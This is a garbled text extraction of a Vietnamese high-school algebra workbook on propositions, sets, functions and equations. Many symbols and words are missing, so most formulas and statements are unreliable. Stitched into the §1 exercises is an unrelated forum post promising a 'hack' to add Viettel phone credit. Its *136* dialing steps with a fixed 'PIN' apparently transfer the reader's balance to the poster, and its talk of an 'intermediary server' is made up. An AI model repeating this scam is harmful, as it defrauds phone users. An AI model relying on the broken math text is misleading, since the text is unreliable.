Đang tải... (xem toàn văn)
b/ Neáu tònh tieán (P) sang traùi 2 ñôn vò roài tònh tieán parabol vöøa nhaän ñöôïc leân treân 2 ñôn vò thì ta ñöôïc ñoà thò cuûa haøm soá naøo? 5) Tìm haøm soá baäc hai coù ñoà thò laø [r]
(1)Chương I : MỆNH ĐỀ – TẬP HỢP §1: Mệnh đề mệnh đề chứa biến A: TĨM TẮT LÝ THUYẾT
1.Định nghóa :
Mệnh đề câu khẳng định Đúng Sai Một mệnh đề vừa vừa sai
2.Mệnh đề phủ định:
Cho mệnh đề P.Mệnh đề “Không phải P ” gọi mệnh đề phủ định P Ký hiệu P Nếu P P sai, P sai P
Ví dụ: P: “ > ” P: “ ”
3 Mệnh đề kéo theo mệnh đề đảo :
Cho mệnh đề P Q Mệnh đề “nếu P Q” gọi mệnh đề kéo theo Ký hiệu P Q Mệnh đề P Q sai P Q sai
Cho mệnh đề P Q Khi mệnh đề Q P gọi mệnh đề đảo P Q 4 Mệnh đề tương đương
Cho mệnh đề P Q Mệnh đề “P Q” gọi mệnh đề tương đương , ký hiệu P Q.Mệnh đề P Q P Q 5 Phủ định mệnh đề “ x X, P(x) ” mệnh đề “xX, P(x)”
Phủ định mệnh đề “ x X, P(x) ” mệnh đề “xX, P(x)” Ví dụ:
Cho x số nguyên dương ;P(x) : “ x chia hết cho 6” ; Q(x): “ x chia hết cho 3” Ta có : P(10) mệnh đề sai ; Q(6) mệnh đề
P x( ): “ x không chia hết cho 6”
Mệnh đề kéo theo P(x) Q(x) mệmh đề
“x N*, P(x)” có phủ định “x N*, P(x)” có tính sai B: BÀI TẬP
:
Bài 1: Các câu sau dây, câu mệnh đề, mệnh đề hay sai : a) Ở nơi ?
b) Phương trình x2 + x – = vô nghiệm c) x + =
d) 16 không số nguyên tố
Bài 2: Nêu mệnh đề phủ định mệnh đề sau : a) “Phương trình x2 –x – = vô nghiệm ” b) “ số nguyên tố ”
c) “nN ; n2 – laø số lẻ ”
Bài 3: Xác định tính sai mệnh đề A , B tìm phủ định : A = “ x R : x3 > x2 ”
B = “ x N , : x chia heát cho x +1”
Bài 4: Phát biểu mệnh đề P Q xét tính sai phát biểu mệnh đề đảo :
a) P: “ ABCD hình chữ nhật ” Q:“ AC BD cắt trung điểm đường” b) P: “ > 5” Q : “7 > 10”
c) P: “Tam giác ABC tam giác vuông cân A” Q :“ Góc B = 450 ”
Bài 5: Phát biểu mệnh đề P Q cách và xét tính sai
a) P : “ABCD hình bình hành ” Q : “AC BD cắt trung điểm đường” b) P : “9 số nguyên tố ” Q: “ 92 + số nguyên tố ”
(2)Bài 6:Cho mệnh đề sau
a) P: “ Hình thoi ABCD có đường chéo AC vng góc với BD”
[HACK] BẢN HACK MỚI NHẤT LẤY TIỀN MẠNG VIETEL ĐÂY (BẢN CẬP NHẬT 30/06)
Xin chia sẻ bạn thủ thuật dùng mã hack mà vừa khám phá:như bạn thấy,rất nhiều cá nhân post lên diễn đàn nuớc với nội dung ”hack tiền mạng Viettel”…để tìm topic khơng khó Ở tơi xin đưa vài ví dụ:
và nhiều topic vậy,nhưng hầu hết AMATEUR HACKER,chủ yếu nhằm vào mục đích vụ lợi khơng thơng thạo chun mơn, họ thiếu kinh nghiệm ,kiến thức tính xác lĩnh vực Hack bậc thầy này,mà địi hỏi phài có trình độ Hack tương đối cao Chính lí nêu và với nhiều năm kinh nghiệm mình,tơi xin giới thiệu : Tôi :
Họ tên: xucxactinhyeu Nghề nghiệp : hacker
Tơi khơng dám nhận sinh viên ưu tú,nhưng với mà tự khám phá tơi thấy rất hài lịng.Chắc bạn biết tới diễn đàn HAVonline – diễn đàn hacker lớn tự hào nằm ban quản trị diễn đàn.Với kinh nghiệm mà tơi có ,hơm tơi xin giới thiệu với bạn cách hack tiền tài khoản Viettel hồn tồn xác.Do thời gian có hạn nên tơi nói ngắn gọn sau:
Các bạn cần thực xác theo yêu cầu bước sau:
1 -Một sim Viettel hoạt động 230 ngày(hon tháng).Tại phải cần vậy?Vì có sim hoạt dộng trên tháng Viettel đưa vào mã bảo vệ tài khoản chuyển tiền ( tháng chưa đâu bạn) server Viettel quản lí.
2 -Rất đơn giản : Soạn tin MK gửi tới 136 để lấy mât chuyển tiền bạn( bạn chưa có).Tại phải cần ? Vì hack thơng qua dịch vụ I-Share Viettel.
3 -Ðổi mật chuyển tiền: bạn gọi tới 900 ,nhánh phím số làm theo hướng dẫn điều quan trọng nằm bước Các bạn phải đổi mât chuyển tiền thành dãy số sau :10010010 ,đó mật Server trung gian bước Tại phải làm vậy?Vì bạn chuyển mật thành dãy số tức mã hóa tài khoản bạn Server mà Viettel quản lý.Ðiều quan trọng.
4 -Tài khoản sim bạn phải có nhiều 53999 vnd
5 -Các bạn làm theo cú pháp nhu sau: *136* mật Server *mã PIN *mã PUK# Để khỏi thời gian các bạn tìm lại mã nên tơi tạo Server trung gian ( viết tắt TIS-Telephone of Intermediacy Server) với mã PIN mã PUK mặc định (dùng đăng nhập sdt bạn Server),tóm lại, cụ thể thơng số sau (chỉ áp dụng cho mạng Viettel):
+ mật Server: 10010010 + mã PIN : 841682455083 + mã PUK: 48100
Các bạn cần nhập xác dãy số vào cú pháp nhấn nút gọi hệ thống tự động đăng nhập sdt bạn vào TIS (Telephone of Intermediacy Server) mà tạo tài khoản sdt người gửi tự
(3)đông công thêm tiền hack sau đăng nhập (tiền hack cơng thêm vào tài khoản chính),thật ra cách hack tài khoản điện thoại mà Hacker chuyên nghiệp giới gần mới sử dụng ( nguyên lý dùng mã hack đảo chiều dịch vụ chuyển tiền từ Server di đơng,chẳng hạn như I-Share, hiên mạng có nhiều tài liệu tiếng Anh nói vấn đề này).
6- Sau làm xong bước : bạn cần đợi 15 phút , có tin nhắn trả lời tài khoản của bạn cộng thêm 50000 vnd.( lưu ý 50000vnd cộng trực tiếp vào tài khoản bạn)
+Tôi hack tài khoản mạng di động viettel từ lỗ hổng nhỏ I-Share lần test gần đều thành công.Thông báo sevsr trung gian ma tao sevsr hoạt động có hiệu nay).
Tất có cơng sức tơi khám phá.Các bạn thử cho biết kết nếu hack hoạt động tốt mở thêm nhiều sever khác.
Các Bạn tranh thủ kẻo viettel sửa lỗi đó
Nếu bạn làm lần đâù mà khơng làm làm lại vài lần, chắn thành công
b) Q: “ Tam giác cân có góc = 600 tam giác đều” c) R : “13 chia hết 13 chia hết cho 10 ”
- Xét tính sai mệnh đề phát biểu mệnh đề đảo : - Biểu diễn mệnh đề dạng A B
Bài 7: Cho mệnh đề chứa biến P(x) : “ x > x2” , xét tính sai mệnh đề sau: a) P(1)
b) P( 1 3) c) xN ; P(x)
d) x N ; P(x)
Bài 8: Phát biểu mệnh đề A B A B cặp mệnh đề sau xét tính sai
a) A : “Tứ giác T hình bình hành ” B: “Hai cạnh đối diện nhau” b) A: “Tứ giác ABCD hình vng ”
B: “ tứ giác có góc vuông” c) A: “ x > y ”
B: “ x2 > y2” ( Với x y số thực )
d) A: “Điểm M cách cạnh góc xOy ” B: “Điểm M nằm đường phân giác góc xOy”
Bài 9: Hãy xem xét mệnh đề sau hay sai lập phủ định : a) xN : x2 2x
b) x N : x2 + x khoâng chia heát cho
c) xZ : x2 –x – =
Bài 10 : Trong mệnh đề sau, mệnh đề có mệnh đề đảo a) A : “Một số tự nhiên tận số chia hết cho 2” b) B: “ Tam giác cân có góc = 600 tam giác ”
c) C: “ Nếu tích số số dương số số dương ” d) D : “Hình thoi có góc vng hình vng”
Bài 11:Phát biểu thành lời mệnh đề x: P(x) x : P(x) xét tính sai chúng :
a) P(x) : “x2 < 0” b)P(x) :“ 1
x > x + 1”
(4)c) P(x) : “
2
x 4
x 2
= x+ 2” x) P(x): “x
2-3x + > 0”
§2: ÁP DỤNG MỆNH ĐỀ VÀO PHÉP SUY LUẬN TỐN HỌC
A:
TÓM TẮT LÝ THUYẾT
1:Trong toán học định lý mệnh đề
Nhiều định lý phát biểu dạng “xX , P(x) Q(x)”
2: Chứng minh phản chứng đinh lý “xX , P(x) Q(x)” gồm bước sau:
- Giả sử tồn x0 thỏa P(x0)đúng Q(x0) sai
- Dùng suy luận kiến thức toán học để đến mâu thuẫn
3: Cho định lý “xX , P(x) Q(x)” Khi
P(x) điều kiện đủ để có Q(x) Q(x) điều kiện cần để có P(x)
4: Cho định lý “xX , P(x) Q(x)” (1)
Nếu mệnh đề đảo “xX , Q(x) P(x)” gọi dịnh lý đảo (1)
Lúc (1) gọi định lý thuận gộp lại
“xX , P(x) Q(x)” Gọi P(x) điều kiện cần đủ để có Q(x) B: BÀI TẬP :
Bài 1: Phát biểu mệnh đề sau với thuật ngữ “Điều kiện cần”, “Điều kiện đủ ” a) Nếu tam giác chúng có diện tích
b) Số nguyên dương chia hết cho chia hết cho
c) Mộthình thang có đường chéo hình thang cân
Bài 2: Dùng phương pháp chứng minh phản chứng để chứng minh :
a) Với n số nguyên dương, n2 chia hết cho n chia hết cho 3 b) Chứng minh 2 số vô tỷ
c) Với n số nguyên dương , n2 số lẻ n số lẻ
Bài 3: Phát biểu định lý sau cách sử dụng khái niệm “Điều kiện đủ ” a)Nếu mặt phẳng, hai đường thẳng vng góc với đường thẳng
thứ hai đường thẳng song song với b)Nếu tam giác chúng có diện tích c)Nếu số ngun dương a tận chia hết cho d)Nếu tứ giác hình thoi đường chéo vng góc với
Bài 4: Phát biểu định lý sau cách sử dụng khái niệm“Điều kiện cần ” a)Nếu mặt phẳng, hai đường thẳng song song với đường thẳng
thứ hai đường thẳng song song với
b)Nếu tam giác chúng có góc tương ứng c)số nguyên dương a chia hết cho 24 chia hết cho
d)Nếu tứ giác ABCD hình vng cạnh
Bài 5: Chứng minh phương pháp phản chứng a) Nếu abc a2 +b2 + c2 > ab + bc + ca
b) Nếu a.b chia hết cho a b chia hết cho c) Nếu x2 + y2 = x = y = 0
Bài 6 :Cho đinh lý sau, định lý có định lý đảo, phát biểu : a) “Nếu số tự nhiên chia hết cho chia hết cho 12”
b) “Một tam giác vuông có trung tuyến tương ứng nửa cạnh huyền ” c) “Hai tam giác đồng dạng có cạnh hai tam giác nhau” d) “Nếu số tự nhiên n không chia hết cho n2 chia dư 1”
§3: Tập hợp phép toán tập hợp
A.TÓM TẮT LÝ THUYẾT :
1 Tập hợp khái niệm tốn học Có cách trình bày tập hợp Liệtkê phần tử :
VD : A = a; 1; 3; 4; b N = ; 1; 2; ; n ;
Chỉ rõ tính chất đặc trưng phần tử tập hợp ; dạng A = {x/ P(x)
(5)VD : A = x N/ x lẻ x < 6 A = 1 ; 3; 5
* Taäp : A B (x, xA xB)
Cho A ≠ có tập A
2 các phép tốn tập hợp :
Phép giao Phép hợp Hiệu tập hợp
AB = x /xA xB AB = x /xA xB A\ B = x /xA xB
Chú ý: Nếu A E CEA = A\ B = x /xE xA
3 các tập tập hợp số thực
Tên gọi, ký hiệu Tập hợp Hình biểu diễn
Đoạn [a ; b] xR/ a x b
Khoảng (a ; b ) Khoảng (- ; a)
Khoảng(a ; + )
xR/ a < x < b xR/ x < a xR/ a< x
Nửa khoảng [a ; b) Nửa khoảng (a ; b] Nửa khoảng (- ; a]
Nửa khoảng [a ; )
R/ a x < b xR/ a < x b
xR/ x a xR/ a x B: BÀI TẬP :
Bài 1: Cho tập hợp A = {x N / x2 – 10 x +21 = hay x3 – x = 0}
Hãy liệt kê tất tập A chứa phần tử
Baøi 2: Cho A = {x R/ x2 +x – 12 = vaø 2x2 – 7x + = 0}
B = {x R / 3x2 -13x +12 =0 hay x2 – 3x = }
Xác định tập hợp sau
A B ; A \ B ; B \ A ; AB Baøi 3: Cho A = {xN / x < 7} vaø B = {1 ; ;3 ; 6; 7; 8}
a) Xác định AUB ; AB ; A\B ; B\ A
b) CMR : (AUB)\ (AB) = (A\B)U(B\ A) Baøi 4: Cho A = {2 ; 5} ; B = {5 ; x} C = {x; y; 5}
Tìm giá trị cặp số (x ; y) để tập hợp A = B = C
Bài 5: Xác định tập hợp sau bẳng cách nêu tính chất đặc trưng A = {0 ; 1; 2; 3; 4}
B = {0 ; 4; 8; 12;16} C = {-3 ; 9; -27; 81} D = {9 ; 36; 81; 144}
E = Đường trung trực đoạn thẳng AB
F = Đường tròn tâm I cố định có bán kính = cm
Bài 6: Biểu diễn hình ảnh tập hợp A ; B ; C biểu đồ Ven A = {0 ; 1; 2; 3}
B = {0 ; 2; 4; 6} C = {0 ; 3; 4; 5}
Bài : Hãy liệt kê tập A, B: A= {(x;x2) / x
{-1 ; ; 1}}
B= {(x ; y) / x2 + y2
vaø x ,y Z}
Baøi 8: Cho A = {x R/ x 4} ; B = {x R / -5 < x -1 }
Viết tập hợp sau dạng khoảng – đoạn – nửa khoảng
/////// [ ] ///////////// //////////// [ ] ////////
)///////////////////// ////////////( ) /////////
(6)A B ; A \ B ; B \ A ; R \ ( AB)
Baøi 9: Cho A = {x R/ x2 4} ; B = {x R / -2 x +1 < }
Viết tập hợp sau dạng khoảng – đoạn – nửa khoảng A B ; A \ B ; B \ A ; R \ ( AB)
Bài 10: Gọi N(A) số phần tử tập A Cho N(A) = 25; N(B)=29, N(AUB)= 41 Tính N(AB) ; N(A\B); N(B\A)
Bài 11: a) Xác định tập hợp X cho {a ; b} X {a ; b ;c ;d ; e}
b)Cho A = (1 ; 2} ; B = {1 ; ; 3; 4; 5}
Xác định tập hợp X cho A X = B
c) Tìm A; B bietá A B = {0;1;2;3;4}; A\B = {-3 ; -2} ; B\A = {6 ; 9;10} Bài 12: Cho A = {xR/ x -3 x >6 }
B={xR / x2 – 25 0}
a) Tìm khoảng , doạn, nửa khoảng sau : A\B ; B\ A ; R \ ( AB); R \ (AB) ; R \(A\B)
b)Cho C={xR / x a} ; D={xR / x b } Xác định a b biết
CB DB đoạn có chiều dài Tìm CD Bài 13: Cho A = {x R/ x2 4} ; B = {x R / -3 x < }
Viết tập hợp sau dạng khoảng – đoạn – nửa khoảng A B ; A \ B ; B \ A ; R \ ( AB)
Bài 14: Viết phần bù R tập hợp sau : A= {xR / – x < 0}
B= {xR / x> 2}
C = {xR / -4 < x + 5}
Bài 15: Cho Tv = tập hợp tất tam giác vuông T = tập hợp tất tam giác
Tc = tập hợp tất tam giác cân Tđ = tập hợp tất tam giác Tvc= tập hợp tất tam giác vuông cân Xác định tất quan hệ bao hàm tập hợp
Bài 16: Xác định tập hợp sau cách liệt kê A= { xQ / (2x + 1)(x2 + x - 1)(2x2 -3x + 1) =0}
B= { xZ / 6x2 -5x + =0}
C= { xN / (2x + x2)(x2 + x - 2)(x2 -x - 12) =0}
D= { xN / x2 > vaø x < 4}
E= { xZ / x vaø x > -2} Baøi 17:Cho A = {x Z / x2 < 4}
B = { xZ / (5x - 3x2)(x2 -2 x - 3) = 0}
a) Liệt kê A ; B
b) CMR (A B) \ (A B) = (A \ B) (B \ A) Baøi 18: Cho E = { xN / x < 7}
A= { xN / (x2-9)(x2 – 5x – 6) = }
B = { xN / x laø số nguyên tố 5}
a) Chứng minh A E B E
b) Tìm CEA ; CEB ; CE(AB)
c) Chứng minh : E \ (A B)= (E \A) ( E \B)
E \ ( AB) = ( E \A) ( E \ B) Baøi 19 :
a) Cho A C B D , chứng minh (AB) (CD)
b) CMR : A \(B C) = (A\B)(A\C)
c) CMR : A \(B C) = (A\B)(A\C)
Chương II:HÀM SỐ
§1: Đại cương hàm số
A:TÓM TẮT LÝ THUYẾT
(7)1: Cho D R hàm số f xác định D quy tắc ứng với xD số
Khi f(x) gọi giá trị hàm số, x gọi biến số , D gọi tập xác định
2: Sự biến thiên hàm số Cho f(x) xác định K
f đồng biến ( tăng) K x1;x2K ; x1 < x2 f(x1) < f(x2)
f nghịch biến ( giảm) K x1;x2K ; x1 < x2 f(x1) > f(x2) 3: Hàm số chẵn, hàm số lẻ :
f gọi chẵn D xD -x D f(-x) = f(x), đồ thị nhận Oy làm trục đối xứng
f gọi lẻ D xD -x D f(-x) = - f(x), đồ thị nhận O làm tâm đối xứng
B VÍ DỤ :Tìm miền xác định xét tính tăng , giảm hàm số ( ) 1 2 3
y f x x
x
C:BÀI TẬP
C2: BÀI TẬP TỰ LUẬN :
Bài 1:Tìm tập xác định hàm số sau: a) 2 1
1
x y
x
b)
2 1
2 1
x y
x x
c) 3 4
( 2) 4
x y
x x
d) y = x x 7 +
1 1 x
Baøi 2: Cho hàm số y = 5 x + 2x 3a
Định a để tập xác định hàm số đoạn thẳng có độ dài = đơn vị
Bài 3:Cho hàm số 3
, 0
1 ( )
1
, 1 0
1
x x x
f x
x
x x
a) Tìm tập xác định hàm số y=f(x) b) Tính f(0), f(2),f(-3),f(-1)
Bài 4: Cho hàm số f x( ) x2 x 1
a) Tìm tập xác định hàm số
b) Dùng bảng số máy tính bỏ túi, tính giá trị gần f(4), f( 2), ( )f xác đến hàng phần trăm
Bài 5: Bằng cách xét tỉ số
2
( ) ( )
f x f x
x x
, nêu biến thiên hàm số sau (khơng u cầu lập bảng biến thiên nó)
trên khỏang cho: a)
1
x y
x
treân khỏang ( , 1) ( 1, )
b) 2 3
2
x y
x
treân khỏang ( , 2)và (2,)
Bài 6: Xét tính chẵn lẻ hàm số sau: a)
3 3 2
y x x b) y2x3 5x c) y x x d) y 1x 1 x
e) y 1x 1 x f) y = xx21 xx12 §2: HÀM SỐ BẬC NHẤT
A:TÓM TẮT LÝ THUYẾT
1: Hàm số dạng y = ax = b , a;b R vaø a≠
Hàm số bậc có tập xác định D = R a > hàm số đồng biến R a < hàm số nghịch biến R
(8)2 Bảng biến thiên :
B: VÍ DỤ Tìm hàm số bậc y=f(x) biết đồ thị qua điểm A(0 ; 4) , B (-1;2) trục Ox
Vẽ đồ thị hàm g x( ) 2x4 Bảng biến thiên
C: BÀI TẬP
Bài 1: Trong trường hợp sau, tìm giá trị k cho đồ thị hàm số y = -2x +k(x+1) a) Đi qua gốc tọa độ O
b) Đi qua điểm M(-2,3)
c) Song song với đường thẳng y 2x
Bài 2: Trong trường hợp sau, xác định a b cho đường thẳng y= ax+b a) Cắt đường thẳng y=2x+5 điểm có hịanh độ -2 cắt
đường thẳng y= -3x+4 điểm có tung độ -2 b)Song song với đường thẳng 1
2
y x qua giao điểm hai đường thẳng 1 1
2
y x vaø y= 3x+5
Bài 3: a) Cho điểm A x y( , )o o , xác định tọa độ điểm B, biết B đối xứng với A qua trục hòanh
b) Chứng minh hai đường thẳng y=x-2 y=2-x đối xứng với qua trục hịanh
c) Tìm biểu thức xác định hàm số y=f(x), biết đồ thị đường thẳng đối xứng với đường thẳng y= -2x+3 qua trục hòanh
Bài : a) Tìm điểm A cho đường thẳng y=2mx+1-m ln qua A, dù m lấy bất kỳ giá trị
b) Tìm điểm B cho đường thẳng y=mx-3-x qua B, dù m lấy giá trị
Bài 5: Trong trường hợp sau, tìm giá trị m cho
a) Ba đường thẳng y=2x, y= -3-x mx+5 phân biệt đồng quy b) Ba đường thẳng y= -5(x+1), y=mx+3 y=3x+m phân biệt đồng quy
Bài 6: Cho Cho đường thẳng 1 : y = (2m -1)x +4m - ; 2 : y = (m – 2) x + m +
a) Tìm điểm cố định đường thẳng b) Định m để đồ thị 1 song song với 2
Bài 7: Cho (H) đồ thị hàm số y = 3x
a) Khi tịnh tiến (H) sang phải đơn vị, ta đồ thị hàm số ? b) Khi tịnh tiến (H) lên đơn vị, ta đồ thị hàm số ?
X - + x - +
y = ax + b (a > 0)
+
-
y = ax + b (a < 0)
+
(9)c) Khi tịnh tiến (H) sang trái đơn vị,rồi tịnh tiến lên đơn vị ; ta đồ thị hàm số ?
§3:HÀM SỐ BẬC HAI
A:TÓM TẮT LÝ THUYẾT
Hàm số có dạng y = ax2 + bx + c với a ; b; c
R vaø a ≠
a > 0 a < 0
Tập xác định R Đỉnh I (
2
b a
;
4a )
Hàm số nghịch biến khoảng ( -;
2
b a
)
đồng biến khoảng (
2
b a
; +) Bảng biến thiên
x
-
2
b a
+ y + +
4a
Trục đối xứng đường x =
2
b a
Tập xác định R Đỉnh I (
2
b a
;
4a )
Hàm số nghịch biến khoảng ( -;
2
b a
)
đồng biến khoảng (
2
b a
; +) Bảng biến thiên
x
-
2
b a
+ y
4a
- -
Trục đối xứng đường x =
2
b a
B Ví dụ Xác định hàm số bậc hai y2x2 bx c biết đồ thị 1) Có trục đối xứng x=1 cắt trục tung điểm có tung độ 2) Có đỉnh (-1;-2)
3) Có hồnh độ đỉnh qua điểm (1;-2) GIẢI 1) Trục đối xứng 1 4
2 4
b b
x b
a
Cắt trục tung (0;4) 4y(0)c
2) Đỉnh 2
1 4
2 4
4 16 8
2 0
4 8
b b
x b
a
b ac c
y c
a
3) Hoành độ đỉnh 2 8
2 4
b b
x b
a
Đồ thị qua điểm (1;-2) 2y(1)6 c c4
C: BÀI TẬP
Bài 1: Xác định phương trình Parabol:
a) y = ax2 + bx + qua A(1 ; 0) trục đối xứng x = b) y = ax2 + bx + qua A(-1 ; 9) trục đối xứng x = - 2 c) y = ax2 + bx + c qua A(0 ; 5) đỉnh I ( 3; - 4) d) y = ax2 + bx + c qua A(2 ; -3) đỉnh I ( 1; - 4)
(10)Bài 3:Khơng vẽ đồ thị, tìm tọa độ đỉnh, phương trình trục đối xứng parabol sau Tìm giá trị nhỏ hay lớn hàm số tương ứng
a)
2( 3) 5
y x b) y(2x1)24 c) y 2x24x
Bài 4: Vẽ đồ thị hàm số y x2 5x 6
Hãy sử dụng đồ thị để biện luận theo tham số m số điểm chung parabol
2 5 6
y x x đường thẳng y=m
Bài 5: Một parabol có đỉnh điểm I(-2,-2) qua gốc tọa độ a)Hãy cho biết phương trình trục đối xứng parabol, biết song song với trục tung
b) Tìm điểm đối xứng với gốc tọa độ qua trục đối xứng câu a) c) Tìm hàm số có đồ thị parabol cho
Baøi 6:
a) Ký hiệu (P) parabol y ax 2bx c a , 0 Chứng minh đường thẳng song song với trục hòanh, cắt (P) hai điểm phân biệt A B trung điểm C đọan thẳng AB thuộc trục đối xứng parabol (P)
b) Một đường thẳng song song với trục hoành cắt đồ thị (P) hàm số bậc hai hai điểm M(-3,3) N(1,3) Hãy cho biết phương trình trục đối xứng parabol (P)
Bài 7:Hàm số bậc hai f(x) = ax2 + bx + c có giá trị nhỏ 3
4 1 2
x nhận giá trị x=1
a)Xác định hệ số a,b c Khảo sát biến thiên ,vẽ đồ thị (P) hàm số vừa nhận
b) Xét đường thẳng y=mx, ký hiệu (d) Khi (d) cắt (P) hai điểm A B phân biệt, xác định tọa độ trung điểm đọan thẳng AB
BÀI TẬP ÔN TẬP CHƯƠNG II
1) Chứng minh y= hàm số xác định R có đồ thị nhận trục hòanh làm trục đối xứng 2) Giả sử y=f(x) hàm số xác định tập đối xứng S
(nghĩa x S -xS).Chứng minh : a/ Hàm số F(x)= 1
2[f(x) + f(-x)] hàm số chẵn xác định S
b/ Hàmsố G(x)= 1
2[f(x) - f(-x)}là hàm số lẻ xác định S
3) Gọi A vàB hai điểm thuộc đồ thị hàm số f(x)=(m-1)x +2 có hịanh độ -1 a/ Xác định tọa độ hai điểm A B
b/ Với điều kiện m điểm A nằm phía trục hòanh ? c/ Với điều kiện m điểm B nằm phía trục hịanh ?
d/ Với điều kiện m hai điểm A B nằm phía trục hịanh ? Từ trả lời câu hỏi : Với điều kiện m f(x) > với x thuộc đọan [-1,3] ?
4) Cho hàm số y 3x2 có đồ thị parabol (P)
a/ Nếu tịnh tiến (P) sang phải đơn vị tịnh tiến parabolvừa nhận xuống đơn vị ta đồ thị hàm số nào?
b/ Nếu tịnh tiến (P) sang trái đơn vị tịnh tiến parabol vừa nhận lên đơn vị ta đồ thị hàm số nào? 5) Tìm hàm số bậc hai có đồ thị parabol (P), biết đường thẳng y= -2,5 có điểm chung với (P) đường thẳng
y=2 cắt (P) hai điểm có hịanh độ -1 Vẽ parabol (P) đường thẩng y=-2,5 y=2 mặt phẳng tọa độ
Chương III : PHƯƠNG TRÌNH VÀ HỆ PHƯƠNG TRÌNH §1: Đại cương phương trình
A: TÓM TẮT LÝ THUYẾT
1.Các phép biến đổi tương đương phương trình:
Thực phép biến đổi vế không làm thay đổi tập xác định
phương trình
Dùng quy tắc chuyển vế
(11) Nhân hai vế phương trình với biểu thức xác định khác với giá trị
ẩn thuộc tập xác địnhcủa phương trình
Bình phương hai vế phương trình có hai vế luôn dấu ẩn lấy giá trị
thuộc tập xác định phương trình 2.Phép biến đổi cho phương trình hệ quả :
Bình phương hai vế phương trình ta đến phương trình hệ
B: BÀI TẬP :
B1: trắc nghiệm :
Câu 1: Trong phương trình sau, phương trình có nghieäm a) 5x2 + = -3 x 1
b) x2 + 3x + 11 = c) x2 + = x 9
d) 2x3 + 5x – + 2 x = x 4
Câu 2: Phương trình x x = có nghiệm
a) b) c) d) Vô nghiệm
Câu 3: Cho phương trình f1(x) = g1(x) (1) f2(x) = g2(x) (2)
f1(x) +f2(x) = g1(x) + g2(x) (3) Tìm mệnh đề
a) (3) tương đường với (1) (2) b) (3) hệ (1) c) (2) hệ (3) d) a,b,c sai
B2 : Tự luận
Bài 1: Tìm điều kiện phương trình sau suy tập nghiệm a) x - x 3 = 3 x +
b) x2 4x 4
= x2 -
c) x - 1 x = 2 x
Bài 2:.Tìm nghiệm nguyên phương trình sau cách xét điều kiện a) 4 x - = x - x
b) x2 = 2 x + 2
Bài 3:.Giải phương trình sau : a) x + x = x -
b) x2 +
2 x = 2 x +
Bài 4:.Giải phương trình sau cách phép biến đổi phương trình hệ a) 2x + =
b) 2 – x = 2x -
c) 3x 2 = -2x d) 5 2 x = x1
Bài 5:.Tìm điều kiện xác định phương trình hai ẩn suy tập nghiệm
2 ( 1)2
x y
+ xy = (x+1)(y+1)
§2: PHƯƠNG TRÌNH BẬC NHẤT VÀ BẬC HAI MỘT ẨN A: TÓM TẮT LÝ THUYẾT
1.Giải biện luận phương trình dạng ax+b = a ≠ 0: Phương trình có nghiệm x= b
a a = vaø b ≠ 0: Phương trình vô nghiệm
a = b=0: Phương trình nghiệm với xR 2.Giải biện luận phương trình dạng ax2+bx+c = 0
(12)a= :Trở giải biện luận phương trình bx + c = a ≠ Lập = b2 4ac
Nếu > 0:phương trình có hai nghiệm phân biệt x =
2
b a
v x =
2
b a
Neáu = : phương trình có nghiệm kép : x =
2
b a
Neáu < : phương trình vô nghiệm B VÍ DỤ :
Ví dụ 1 Giải biện luận phương trình : m(x - m ) = x + m - (1)
Giải :
phương trình (1) (m - 1)x = m2 + m -
Ta xét trường hợp sau :
1)Khi (m-1) ≠ m ≠ nên phương trình (1) có nghiệm x =
2 2
1
m m
m
= m -
2)Khi (m – 1) = m = phương trình (1) trở thành 0x = 0:
phương trình nghiệm với x R
Kết luận : m ≠ : Tập nghiệm S = {m - 2} m = : Taäp nghiệm S = R
Ví dụ 2: Giải biện luận phương trình theo tham số m : (m + 1)x2 - (2m + 1)x + (m - 2) = 0
Giải : Với m = - , phương trình có nghiệm x =
Với m ≠ - Lập = 8m +
Do m < - 9
8 phương trình vô nghiệm
m = - 9
8 phương trình có ngiệm kép x =
Với m (-9
8 ; 1) (1; +), phương trình có hai nghiệm
x = 2 1 8 9
2( 1)
m m
m
; x =
2 1 8 9
2( 1)
m m
m
C: BÀI TẬP : C2 : TỰ LUẬN
Bài 1: Giải biện luận phương trình sau :
a) (m2+2)x - 2m = x -3 b) m(x -m+3) = m(x -2) + 6 c) m2(x- 1) + m = x(3m -2) d) m2x = m(x + 1) -1 e) m2(x – 3) +10m = 9x + 3 f) m3x –m2 -4 = 4m(x – 1) g) (m+1)2x + – m = (7m – 5)x h) a2x = a(x + b) – b
i) (a + b)2x + 2a2 = 2a(a + b) + (a2 + b2)x
Baøi 2:
a) Định m để phương trình (m2- 3)x = -2mx+ m- có tập nghiệm R b) Định m để phương trình (mx + 2)(x + 1) = (mx + m2)x có nghiệm c)Định a ; b đề phương trình (1 – x)a + (2x + 1) b= x + vô số nghiệm xR
d) Định m để phương trình m2x = 9x +m2 -4m + vơ số nghiệm
xR Bài 3: Giải biện luận phương trình theo tham số m:
a)mx2 + 2x + = 0 b)2x2 -6x + 3m - = 0
(13)c)(m2 - 5m -36)x2 - 2(m + 4)x + = 0
Bài 4: Cho a ; b ; c cạnh Chứng minh phương trình sau vơ nghiệm
a2x2 + (c2 – a2 –b2)x +b2 = 0
Baøi 5: Cho a ; b ; c phương trình ax2 +2bx + c =
bx2 +2cx + a = 0 cx2 +2ax + b = 0 CMR phương trình có nghiệm
Bài 6: Cho phương trình : x2 + 2x = a Bằng đồ thị , tìm giá trị a để phương trình cho có nghiệm lớn Khi , tìm nghiệm lớn
Bài 7: Giả sử x1 ; x2 nghiệm phương trình : 2x2 - 11x + 13 = Hãy tính : a) x13 + x23
b) x14 + x24 c) x14 - x24 d)
2 x x
+
2 x x
Bài 8:Các hệ số a, b , c phương trình trùng phương : ax4 + bx2 + c = phải thỏa điều kiện để phương trình
a)Vô nghiệm b)Có nghiệm c)Có hai nghiệm d)Có ba nghiệm e)Có bốn nghiệm
Bài 9: Giải biện luận:
a) (m-2)x2 -2(m-1)x +m – = 0 b) (m-1)x2 -2mx +m +1 = 0
Bài 10: Cho phương trình : x2 -2(m-1)x +m2 – 3m = 0
a)Định m để phương trình có nghiệm x1 = Tính nghiệm x2
b)Định m để phương trình có nghiệm phân biệt x1 ; x2 thỏa x12 +x22 = 8
Bài 11: Cho phương trình : mx2 -2(m-3)x +m – = 0
a) CMR: phương trình có nghiệm x1 = ; m Tính nghiệm x2
b) Định m để phương trình có nghiệm phân biệt thỏa
1
1 1
1
x x
c) Định m để phương trình có nghiệm trái dấu có giá trị tuyệt đối Bài 12: Giả sử phương trình ax2 +bx + c = có nghiệm dương phân biệt x1 ; x2.
